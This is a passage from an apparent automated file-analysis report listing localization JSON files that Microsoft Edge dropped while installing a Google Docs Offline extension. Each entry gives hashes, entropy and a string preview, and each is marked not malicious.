SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
